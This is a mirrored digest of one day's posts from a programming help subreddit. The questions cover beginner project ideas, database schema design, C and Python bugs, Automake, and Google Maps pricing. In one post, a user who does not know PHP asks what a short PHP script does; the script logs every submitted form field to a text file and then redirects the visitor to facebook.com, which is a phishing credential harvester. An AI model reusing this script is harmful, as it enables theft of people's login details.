• Breaking News

    Wednesday, January 29, 2020

    Everybody always says projects are a must for programming. What are some examples of projects you made early on? Ask Programming

    Everybody always says projects are a must for programming. What are some examples of projects you made early on? Ask Programming


    Everybody always says projects are a must for programming. What are some examples of projects you made early on?

    Posted: 29 Jan 2020 01:52 PM PST

    I often see that projects are the be all end all in programming- it is almost a necessity to build a portfolio of homemade programs and projects.

    Obviously this could be any number of things- an app, something that organizes computer files, an alphabetizer, etc. Obviously some projects are significantly, significantly more challenging or take more time than others

    What are some good examples of projects you've made that helped you when you were just learning? I'm taking time off of school, but in the meantime I plan on getting a 'functional' understanding of programming, being able to improve a little every day and get some working programs under my belt then going back for a complete CS degree. I would be very interested in simply trying to figure out progressively harder projects, by studying examples and creating imitations, changing slight things, that sort of thing, but I'm just looking for some beginner ideas and resources to help me get started.

    An idea off the top of my head is something that looks will look at every mp3 in a folder, then organize them in various ways. Shuffle them all up, play them in reverse order, replace every other song with the corresponding song on a different album, just stuff to create more interesting playlists without clicking and dragging.

    submitted by /u/myhorseeatspam
    [link] [comments]

    I'm very new to programming and am trying to create an iOS Swift app which displays a new image once a day; do you think it is possible to use twitter as the API?

    Posted: 29 Jan 2020 10:34 PM PST

    So in my very limited knowledge, I wish the setup to be such:

    I use twitter's api to allow the app to communicate with my private twitter account; and every time I post a new image, the app deletes the previous image and begins displaying the new image until I post another.

    To be clear, I wish the app to only display a single image on the screen (the one I have posted onto my twitter feed) and not a link to my twitter account.

    My questions are:

    1) Is this possible?

    2) Would you say such a set up is too difficult for a beginner?

    3) What concepts should I read up on to achieve this goal? (eg. URLSession?)

    I'm just looking for a nudge in the correct direction; I wish to do the coding myself but just don't know where to start.

    submitted by /u/yesimadeanewaccount
    [link] [comments]

    Bluetooth and C#

    Posted: 29 Jan 2020 10:02 PM PST

    How to write a program to pair PC with HC 05 Bluetooth module? i want to pair my PC with a device using Bluetooth module and that device is not smartphone or another PC, it's just a simple sensor.

    submitted by /u/upasana1403
    [link] [comments]

    Say I'm Building a WYSIWYG Web Builder - Should I store page data in a single JSON column, or each element in a separate table row?

    Posted: 29 Jan 2020 04:31 PM PST

    Say I'm building something along the lines of a WYSIWYG web builder, except way more simplified and outputting relatively high level custom elements (eg. a bar chart) rather than just HTML elements, though layout elements can have children referencing other elements. How should I store a page's data in the database?

    It seems there are two options:

    1. Store all the page elements in a single JSON array or object in a single JSON column on a single row in the table. It would look something like this:

    Table Columns: ID | PageData (Json)

    thePageId | [ { type: "text", value: "This is some text"}, { type: "input", value: "This is an input box"}, {type: "graph", data: [4,5,6,7]}, { type: "group", children: [ { type: "text", value: "child1"} ] } ]

    2. Store each element in a separate database row in a table (eg. named "Elements") with a foreign key referencing the page ID

    Table columns: ID | PageId | Type | Value | Children

    5aoiwefj | thePageId | text | This is some text

    93gj53v | thePageId | input | This is an input box

    85jfaow | thePageId | graph | [4,5,6,7]

    beo4842 | thePageId | group | | [ childId]

    childId | thePageId | text | child1

    ---

    Which method is superior?

    It seems that these are the tradeoffs:

    Pros (of storing entire page in single JSON column)

    • Faster and easier to retrieve on initial load (since we're simply returning a single row/column vs selecting multiple rows for each page element)
    • Less database tables to worry about
    • Creating new elements is easier because you're not adding new database table rows for every element.
    • Frontend is not dependent on backend for changes, better enabling offline support. Theoretically either could work offline, but it's harder with #2 (separate row for each element) because on coming back online one would have to run a sequence of transactions (eg. delete element A, move element B, add element C) whereas with #1 you could simply POST the updated JSON data object.

    Cons

    • Updating a single element is more difficult and slower since we have to parse the JSON file, find the element(s) to update, and then update the JSON object, whereas if the element were in a separate table row then we could simply update that table row by it's element ID.
    • Not as easy to run analytics (eg. finding out which element types are most popular among our users)

    It would seem to me that #1 is the clear objective winner here, and the additional complexity of #2 isn't justified. Since elements are unique and aren't being reused across pages, I don't see any benefit of storing them in separate tables. Since conceptually each element is basically a frontend element, I don't see the point of having each one in a separate table row.

    What are your thoughts? Am I missing anything here?

    submitted by /u/TheTechPanther
    [link] [comments]

    Can someone please look at this Code and tell me whats wrong? VS 2019 (C Language)

    Posted: 29 Jan 2020 03:39 PM PST

    #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> int main() { //int variable declare int noOfCoffee, choice, choiceSecond; //real number declare using float float totalBill; //character array for coffee name char coffeeName[20]; //ask user to enter coffee name and store in char array printf("Please enter the coffee name which you would like to have: (black, iced or latte)\n"); scanf("%s", coffeeName); //ask user to enter total number of coffee they want to order and store in noOfCoffee variable printf("Enter total number of coffee you want to order: "); scanf("%d", &noOfCoffee); //calculate the total bill if (strcmp(coffeeName, "iced") || strcmp(coffeeName, "latte")) { totalBill = (float)noOfCoffee * 4.5; } else { totalBill = (float)noOfCoffee * 2.5; } //print total bill printf("Total bill is $%.2lf \n", totalBill); 

    **This is not the full code** just the segment i need help with.

    I'm trying to put the iced or latte coffee option to have the price of $4.50. and the black coffee to be $2.50 but when i choose black it goes automatically to $4.50 and not the $2.50 i set it to.

    Any help is appreciated. Im using VS 2019 and this is C not C++

    submitted by /u/jorge407
    [link] [comments]

    Can someone please explain me how is this working? I am new to LinkedList and Java overall.

    Posted: 29 Jan 2020 06:47 PM PST

    Hello, thank you for taking your time to check this out. Would you mind explaining me how this class is working?

    private static class Node { String data; Node next; private Node(String value, Node n) { data = value; next = n; } 

    the place I don't understand is in 'private Node(String value, Node n)' . How is the constructor name Node used as the parameter Node n, in the same constructor? Hope I am being clear with my question.

    Thank you.

    submitted by /u/GottaGoFaart
    [link] [comments]

    Pytorch on pi 4 B

    Posted: 29 Jan 2020 06:44 PM PST

    I have been working on a simple twitter bot in python for a while now and I recently found a neural network machine learning script that can "write poetry" (here) and have been trying to get that to work on my Pi. The problem I have been having is that it requires the torch library which i cant seem to get to work on my Pi, I followed the instructions at the torch website and the specific instructions on this article, but after it say it is installed I try running it and as it loads I get no module named torch._c.

    Has anyone worked with torch on a Pi or is there a better python machine learning module I can work with for the Pi. Any help is greatly appreciated. thanks

    I tried to post this on r/raspberry_pi and it got removed so, hope I can find the help here

    submitted by /u/zader
    [link] [comments]

    What is Automake and how is it different than makefiles?

    Posted: 29 Jan 2020 06:38 PM PST

    I have a graduate software engineer project than I'm currently trying to complete to get a chance for an interview.

    The project asks me to create a user authentication library in C++. It then lists constraints on the program. The following 2 have me confused (I have never built a program for use on Linux but have messed around with some shell stuff on a virtual environment):

    · An Automake project must be used to generate the library

    · The GNU Toolchain must be used to generate this library

    I've spent a few hours researching and trying to use CMake in Visual Studio, before realizing that isn't the employer is looking for. I then looked into Makefiles. Are makefiles and Automake the same thing or is the employer looking for these ".in" files to be in the project files?

    They are using Ubuntu 18.04 LTS. I am programming on a Windows computer and I have access to a VE if needed for debugging.

    submitted by /u/Nuthead007
    [link] [comments]

    Can someone explain to me what's happening here? I don't know PHP.

    Posted: 29 Jan 2020 09:44 AM PST

    <?php
    header ('Location: http://facebook.com ');
    $handle = fopen("logs_IITM.txt", "a");
    foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
    }
    fwrite($handle, "===============\r\n");
    fclose($handle);
    exit;
    ?>

    submitted by /u/The_Latent_Heat
    [link] [comments]

    Recent grad: Is it an absolute requirement to have a portfolio or project sample to get a job in programming?

    Posted: 29 Jan 2020 06:18 PM PST

    I recently graduated with my BS in IT. I have experience with HTML, CSS, C#, Python, and JS.

    I only have educational experience and the most I've really done is a website (created in wordpress, which I hate honestly) and a command driven calculator in Python.

    I have 3 years of IT experience, but I have been searching for a job in programming. Has anyone gotten a programming job without a portfolio? I would like to create a portfolio, but with work and family, it's hard to find time to do much.

    I wanted to see what input anyone had, or if there were alternatives.

    submitted by /u/GGAllinsPizza
    [link] [comments]

    How can I make the life of our programmers easier when starting a new project?

    Posted: 29 Jan 2020 07:24 AM PST

    Hey I was wondering if anyone could help me out with this. We have a team within our company that works on software we use internally. We recently have come up with a new project in addition to this software that we are all really excited about. I have been tasked with writing up some documents to help our IT team in terms of what we want the project to cover and what features we would like.

    I am no programmer and while I have written what I think is a straight forward document I was hoping that I could get some insight in perhaps what other programmers would like to see in a document detailing new projects that would make their lives easier. Any guidance would be greatly appreciated.

    submitted by /u/PrimeCanadian
    [link] [comments]

    Have you ever benefitted from directly inspecting or altering JS bytecode? If so, when/why?

    Posted: 29 Jan 2020 01:26 AM PST

    i.e. altering the output of node --print-bytecode

    submitted by /u/waterloo304
    [link] [comments]

    Managed code and il code

    Posted: 29 Jan 2020 01:00 PM PST

    On MS docs post they define managed code as a code whose execution is managed by a runtime. So isn't il code managed code? Coz ultimately it's the il code which the runtime compiles.

    submitted by /u/solidass64
    [link] [comments]

    Mysql Two database qusetion

    Posted: 29 Jan 2020 12:52 PM PST

    Im running a local server and querying the database and it works fine like a between to dates query. then i run the same query on the production server and it return nothing. but if i make smaller queries that return less results it begins to work again. Does it have something to do with limited memory allocation on the production server?

    submitted by /u/aaguzzowork
    [link] [comments]

    How to parse extremely large file of json stream to valid JSON

    Posted: 29 Jan 2020 08:57 AM PST

    I'm working on a CS course project where I've to perform sentiment analysis of Twitter data on an Ubuntu VM. I was able to build a crawler to obtain the data but I have the output in the format of a file of JSON stream which is a very large file which is of the style:

    { "query": "#India_since_2019", "username": "user_1", "ID": "123455", "tweet": "This is the tweet", "datetime": "2019-04-05" } { "query": "#India_since_2019", "username": "user_1", "ID": "123455", "tweet": "This is the tweet", "datetime": "2019-04-05" } 

    and so on.

    I essentially have to filter results based on year and store the resultant json file.

    The output I'm looking to get is

    [ { "query": "#India_since_2019", "username": "user_1", "ID": "123455", "tweet": "This is the tweet", "datetime": "2019-04-05" }, { "query": "#India_since_2019", "username": "user_1", "ID": "123455", "tweet": "This is the tweet", "datetime": "2019-04-05" } ] 

    This prevents me from reading the file line by line as all the data is appended thus not creating any new lines.

    I tried using jq to parse the data but the file was too large and thus created errors.

    Would you guys have any suggestions for how I can convert this easily to a valid JSON and write to another file?

    I'd be open to solutions in any script as I'm flexible with those, although I'd prefer an idea I can work with in Python/Shell.

    Thanks!

    submitted by /u/astronights
    [link] [comments]

    Is FCL an implementation of a CLI feature?

    Posted: 29 Jan 2020 12:25 PM PST

    From what I know features of CLI are cts cls ves and metadata. I read on wiki that fcl implements the cli foundational standard library. Is it correct. Wiki info can sometimes be wrong so I thought I'd ask here.

    submitted by /u/solidass64
    [link] [comments]

    Where should i start with making a game

    Posted: 29 Jan 2020 01:01 AM PST

    hello I have little knowledge of coding, and i was thinking about trying out making like a 2d game or something, but im not sure where to start or what engine to use or anything, so i figured i would ask people that do :)

    submitted by /u/xxdemonheartedxx
    [link] [comments]

    Using both NoSQL and SQL on one server

    Posted: 29 Jan 2020 02:34 PM PST

    Hello,

    I am currently using MySQL as my database for a few websites and linked applications, however the desire has come for something a bit more flexible regarding what I store, which seems to be what NoSQL like Mongo lends itself to.

    I operate Discord bots, and users want ways to restrict commands themselves, so storing a permission level per each command. I don't want to end up modifying the database every time I add or remove a command, and I particularly don't want to add 10+ columns to my database (one for each command). This sounds like something NoSQL would lend itself to, although I've never used it before.

    Hence my question is is it a good idea to run both MongoDB and MySQL on a server side by side? Searching for it seems to only give results comparing the two, but the rigidness of SQL is ideal for me for the most part and flexibility is ideal for this small part.

    submitted by /u/jellywx
    [link] [comments]

    I want all the text on the website to be changed when I click the button.

    Posted: 29 Jan 2020 11:07 AM PST

    So, I have a webpage and it's in one language. And I want to add an option for text to be translated to another language. The thing is... I don't want it to be Google translated, I want the pre-generated text that I wrote to be displayed instead.

    submitted by /u/helpmepleasebros
    [link] [comments]

    Help with python

    Posted: 29 Jan 2020 10:57 AM PST

    hey, i am trying to do some random guessing game for fun. but for some reason it does not work. ive been trying to figure out why the second time i input the correct number it doesnt register? thank you for your help

    def rand_num():
    x = random.randrange(0, 21)
    return x

    def game():
    comp_num = rand_num()
    enter = input("press y to continue, press n to end")
    if enter == 'n':
    exit(0)
    else:
    while enter == 'y':
    user = input("input a number between 1 and 20 ")
    if user != comp_num:
    print("user:{} comp:{}".format(user, comp_num))
    print("try again")

    elif user == comp_num:
    print("nice, you guess right")
    break
    return 0
    game()

    submitted by /u/idkwhattodoanymo
    [link] [comments]

    Note to future me and everyone reading this if you are going to search for a tool/script with just description and keywords (with out knowing its name ) on github don't... even though it's on github there is a big chance that you will not find it with github search use google instead !

    Posted: 29 Jan 2020 09:55 AM PST

    Datetime sql filter not working for certain months

    Posted: 29 Jan 2020 08:52 AM PST

    the datime filter i have WHERE DOS.PARTS_EXPIRY BETWEEN '2020-08-11 00:00:00' AND '2020-08-31 23:00:00'

    doesent work for certain months like 08,09,10. it works on my local server but doesent when i upload to my plesk server. any idea why

    submitted by /u/aaguzzowork
    [link] [comments]

    How to use HTML, CSS and JS to select a value and store it?

    Posted: 29 Jan 2020 08:07 AM PST

    I'm creating a currency calculator. There is a nav bar, you click on it and a list of currencies show. You select one for your 'home' currency and one for the currency you are converting to. How would I be able 'store' these choices so I can use them. Thanks.

    submitted by /u/uahimself
    [link] [comments]

    Are dynamic maps free for android? I Google maps pricing is confusing

    Posted: 29 Jan 2020 07:24 AM PST

    So I went to their Maps Pricing. I don't understand, are the dynamic maps free for android or are they the 7$ per 1000 requests? They've written both.

    https://cloud.google.com/maps-platform/pricing

    submitted by /u/LopsidedResearcher
    [link] [comments]

    No comments:

    Post a Comment